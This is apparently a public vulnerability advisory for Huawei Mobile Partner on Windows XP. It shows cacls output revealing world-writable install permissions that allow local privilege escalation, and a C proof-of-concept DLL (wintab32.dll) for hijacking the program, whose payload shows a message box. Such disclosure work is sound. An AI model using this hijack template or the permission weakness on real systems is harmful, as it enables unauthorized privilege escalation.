Huawei Mobile Partner DLL Hijacking

`# Title: Huawei Mobile Partner Multiple Vulnerabilities  
# Version: 23.009.05.03.1014  
# Tested on: Windows XP SP2 en  
# Vendor: http://www.huawei.com/  
# Software-Link: http://download-c.huawei.com/download/downloadCenter?downloadId=18474&version=16815&siteCode=worldwide  
# E-Mail: osanda[at]unseen.is  
# Author: Osanda Malith Jayathissa  
# /!\ Author is not responsible for any damage you cause  
# Use this material for educational purposes only  
  
  
#1| Local Privilege Escalation   
--------------------------------  
  
- Description  
==============  
Any user in the system can modify the legitimate binary to any kind of malicious executable.   
The user could also place a malicious wintab32.dll file inside the "Mobile Partner" folder and  
perform DLL hijacking easily. If an attacker break into a low privilege account he could use  
this application to escalate his privileges.  
  
- Proof of Concept  
===================  
  
C:\Program Files>cacls "Mobile Partner"  
C:\Program Files\Mobile Partner BUILTIN\Users:(OI)(IO)F  
BUILTIN\Users:(CI)F  
NT SERVICE\TrustedInstaller:(ID)F  
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F  
BUILTIN\Administrators:(ID)F  
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F  
CREATOR OWNER:(OI)(CI)(IO)(ID)F  
  
  
C:\Program Files>cd "Mobile Partner"  
  
C:\Program Files\Mobile Partner>cacls "Mobile Partner.exe"  
C:\Program Files\Mobile Partner\Mobile Partner.exe BUILTIN\Users:F  
BUILTIN\Users:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Administrators:(ID)F  
  
  
  
  
#2| Dll Hijacking Vulnerability (wintab32.dll)  
-----------------------------------------------  
  
  
#include <windows.h>   
  
BOOL WINAPI DllMain (  
HANDLE hinstDLL,  
DWORD fdwReason,  
LPVOID lpvReserved)  
{  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH: owned();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
  
int owned() {  
MessageBox(0, "Mobile Partner DLL Hijacked\nOsanda Malith", "POC", MB_OK | MB_ICONWARNING);  
}  
/*EOF*/  
`